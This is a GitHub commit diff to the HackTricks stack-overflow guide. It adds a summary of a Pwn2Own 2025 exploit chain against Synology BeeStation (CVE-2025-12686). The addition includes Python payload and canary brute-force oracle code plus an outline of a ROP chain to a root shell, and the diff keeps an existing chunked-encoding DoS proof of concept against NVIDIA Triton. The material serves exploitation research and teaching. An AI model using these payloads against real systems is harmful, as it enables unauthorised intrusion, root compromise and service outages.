Skip to content

Commit 9fea04e

Browse files
author
HackTricks News Bot
committed
Add content from: Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Jou...
1 parent a363e12 commit 9fea04e

File tree

1 file changed

+36
-18
lines changed
  • src/binary-exploitation/stack-overflow

1 file changed

+36
-18
lines changed

src/binary-exploitation/stack-overflow/README.md

Lines changed: 36 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -140,10 +140,7 @@ url = "https://TARGET/__api__/v1/" + "A"*3000
140140
requests.get(url, verify=False)
141141
```
142142

143-
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
144-
145-
* Always provide a **maximum field width** (e.g. `%511s`).
146-
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
143+
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution).
147144

148145
### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
149146

@@ -165,6 +162,9 @@ if (n > 0) {
165162
3. By abusing **HTTP _chunked transfer-encoding_**, a client can force the request to be split into **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). This makes `n` grow unbounded until the stack is exhausted.
166163

167164
#### Proof-of-Concept (DoS)
165+
<details>
166+
<summary>Chunked DoS PoC</summary>
167+
168168
```python
169169
#!/usr/bin/env python3
170170
import socket, sys
@@ -188,30 +188,48 @@ def exploit(host="localhost", port=8000, chunks=523_800):
188188
if __name__ == "__main__":
189189
exploit(*sys.argv[1:])
190190
```
191+
192+
</details>
191193
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.
192194

193-
#### Patch & Mitigation
194-
The 25.07 release replaces the unsafe stack allocation with a **heap-backed `std::vector`** and gracefully handles `std::bad_alloc`:
195+
### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
195196

196-
```c++
197-
std::vector<evbuffer_iovec> v_vec;
198-
try {
199-
v_vec = std::vector<evbuffer_iovec>(n);
200-
} catch (const std::bad_alloc &e) {
201-
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
202-
}
203-
struct evbuffer_iovec *v = v_vec.data();
197+
Synacktiv’s Pwn2Own 2025 chain abused a pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` on port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes attacker input into a 4096-byte stack buffer but wrongly sets `decoded_len = auth_info->len`. Because the CGI worker forks per request, every child inherits the parent’s stack canary, so one stable overflow primitive is enough to both corrupt the stack and leak all required secrets.
198+
199+
#### Base64-decoded JSON as a structured overflow
200+
The decoded blob must be valid JSON and include `"state"` and `"code"` keys; otherwise, the parser throws before the overflow is useful. Synacktiv solved this by Base64-encoding a payload that decodes to JSON, then a NUL byte, then the overflow stream. `strlen(decoded)` stops at the NUL so parsing succeeds, but `SLIBCBase64Decode` already overwrote the stack past the JSON object, covering the canary, saved RBP, and return address.
201+
202+
```python
203+
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
204+
pld += b"A"*4081 # reach the canary slot
205+
pld += marker_bytes # guessed canary / pointer data
206+
send_request(pld)
207+
```
208+
209+
#### Crash-oracle bruteforcing of canaries & pointers
210+
`synoscgi` forks once per HTTP request, so all children share the same canary, stack layout, and PIE slide. The exploit treats the HTTP status code as an oracle: a `200` response means the guessed byte preserved the stack, while `502` (or a dropped connection) means the process crashed. Brute-forcing each byte serially recovers the 8-byte canary, a saved stack pointer, and a return address inside `libsynobeeadmincenter.so`:
211+
212+
```python
213+
def bf_next_byte(prefix):
214+
for guess in range(0x100):
215+
try:
216+
if send_request(prefix + bytes([guess])).status_code == 200:
217+
return bytes([guess])
218+
except requests.exceptions.ReadTimeout:
219+
continue
220+
raise RuntimeError("oracle lost sync")
204221
```
205222

206-
Lessons learned:
207-
* Never call `alloca()` with attacker-controlled sizes.
208-
* Chunked requests can drastically change the shape of server-side buffers.
209-
* Validate / cap any value derived from client input *before* using it in memory allocations.
223+
`bf_next_ptr` simply calls `bf_next_byte` eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.
224+
225+
#### From leaks to ROP & execution
226+
Once the library base is known, common gadgets (`pop rdi`, `pop rsi`, `mov [rdi], rsi; xor eax, eax; ret`) build an `arb_write` primitive that stages `/bin/bash`, `-c`, and the attacker command on the leaked stack address. Finally, the chain sets up the calling convention for `SLIBCExecl` (a BeeStation wrapper around `execl(2)`), yielding a root shell without needing a separate info-leak bug.
210227

211228
## References
212229
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
213230
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
214231
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
232+
* [Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey](https://www.synacktiv.com/en/publications/breaking-the-beestation-inside-our-pwn2own-2025-exploit-journey.html)
215233

216234
{{#include ../../banners/hacktricks-training.md}}
217235

0 commit comments

Comments
 (0)